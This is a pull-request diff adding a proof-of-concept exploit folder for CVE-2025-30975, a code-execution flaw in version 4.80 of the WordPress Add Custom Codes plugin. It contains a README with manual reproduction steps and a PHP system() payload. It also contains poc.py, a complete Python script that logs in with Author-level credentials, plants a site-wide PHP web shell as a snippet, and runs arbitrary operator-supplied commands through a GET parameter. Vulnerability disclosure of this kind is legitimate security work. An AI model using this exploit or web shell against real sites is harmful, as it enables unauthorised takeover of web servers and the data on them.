Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
27 changes: 27 additions & 0 deletions CVE-2025-30975/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
# Vulnerability Overview
The WordPress Add Custom Codes plugin is vulnerable to a remote code execution vulnerability affecting the version 4.80.

Proof-of-concept created by: Tristan Ebert

# Steps to Reproduce
1. Authenticate to the WordPress admin panel as a user with the Author role.
2. Navigate to “Add Custom Code” → “Add New Snippet”.

![new-snippet](images/new-snippet.png)

3. Enter any snippet title.
4. Enter the following code in the PHP editor: `<?php system("id") ?>`.
5. Ensure that “Run site-wide” is selected and the “Status” toggle is enabled.

![finished-snippet](images/finished-snippet.png)

6. Click “Publish”.
7. Navigate to the root path `/` on the website.
8. Notice the output of the command is displayed at the top of the page.

![rce](images/rce.png)

# References
* [NVD - CVE-2025-30975](https://nvd.nist.gov/vuln/detail/CVE-2025-30975)
* [PatchStack - CVE-2025-30975](https://patchstack.com/database/wordpress/plugin/add-custom-codes/vulnerability/wordpress-add-custom-codes-4-80-arbitrary-code-execution-vulnerability?_s_id=cve)
* [Add Custom Codes](https://wordpress.org/plugins/add-custom-codes/)
Binary file added CVE-2025-30975/images/finished-snippet.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added CVE-2025-30975/images/new-snippet.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added CVE-2025-30975/images/rce.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
10 changes: 10 additions & 0 deletions CVE-2025-30975/info.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
cve_id: "CVE-2025-30975"
software: "Add Custom Codes"
vulnerability: "Code Injection"
alises: [
"Remote Code Execution",
"RCE"
]
category: "WordPress Plugin"
version: "4.80"
poc_developed_by: "Tristan Ebert"
101 changes: 101 additions & 0 deletions CVE-2025-30975/poc.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,101 @@
"""
CVE-2025-30975 - Arbitrary Code Execution
Software: Add Custom Codes
Affected Version(s): 4.80
Proof-of-concept created by: Tristan Ebert
"""

import re
import sys
import requests
import argparse
import uuid
import base64
from bs4 import BeautifulSoup

def main():
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", help="the target server domain name or IP", required=True)
parser.add_argument("-u", "--username", help="the user's username (author or above)", required=True)
parser.add_argument("-p", "--password", help="the user's password (author or above)", required=True)
parser.add_argument("-c", "--command", help="the command to execute", required=True)
parser.add_argument("-v", "--verbose", help="display verbose messages", action="store_true")

args = parser.parse_args()
session = authenticate(args.target, args.username, args.password, args.verbose)
command_identifier = get_command_identifier()
create_snippet(session, args.target, command_identifier, args.verbose)
run_command(args.target, command_identifier, args.command, args.verbose)


def authenticate(target, username, password, verbose):
session = requests.Session()
if verbose:
print("[*] Authenticating to the WordPress Dashboard.")
session.get(target + "/wp-login.php")
data = {
"log": username,
"pwd": password,
"wp-submit": "Log In",
"redirect_to": target + "/wp-admin/",
"testcookie": "1"
}
r = session.post(target + "/wp-login.php", data=data, allow_redirects=True)

if "Dashboard" in r.text:
if verbose:
print("[+] Logged in successfully.")
else:
print("[-] Failed to authenticate to the application.")
sys.exit()
return session

def get_command_identifier():
return str(uuid.uuid4())

def create_snippet(session, target, command_identifier, verbose):
snippet_content = f"""
<?php
if(isset($_GET[\"{command_identifier}\"])){{
echo \"{command_identifier}\";
system($_GET[\"{command_identifier}\"]);
echo \"{command_identifier}\";
}}
?>"""

if verbose:
print(f"[*] Creating new post with name {command_identifier}.")

response = session.get(target + "/wp-admin/post-new.php?post_type=accodes_snippets")
post_form = BeautifulSoup(response.text, "html.parser").find("form", {"id": "post"})
if not post_form:
print(f"[-] Failed to create post. Check privileges of current user.")
sys.exit()
post_inputs = post_form.find_all("input")
post_parameters = {inp.get("name"): inp.get("value", "") for inp in post_inputs}
post_parameters["accodes_snippet_language"] = "php"
post_parameters["accodes_code_editor"] = snippet_content
post_parameters["accodes_snippet_location"] = "site"
post_parameters["post_title"] = command_identifier
post_parameters["visibility"] = "public"
r = session.post(target + "/wp-admin/post.php", data=post_parameters, allow_redirects=False)
if r.status_code != 302:
print("[-] Failed to create post.")
sys.exit()
if verbose:
print("[+] Post successfully created.")



def run_command(target, command_identifier, command, verbose):
if verbose:
print("[*] Running command.")
r = requests.get(f"{target}/?{command_identifier}={command}")
command_output_match = re.search(command_identifier + "(.*?)" + command_identifier, r.text, re.S)
command_output = command_output_match.group(1) if command_output_match else None
print("[+] Command output:")
print(f"> {command}")
print(command_output)

if __name__ == '__main__':
main()
3 changes: 3 additions & 0 deletions CVE-2025-30975/requirements.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
requests
argparse
beautifulsoup4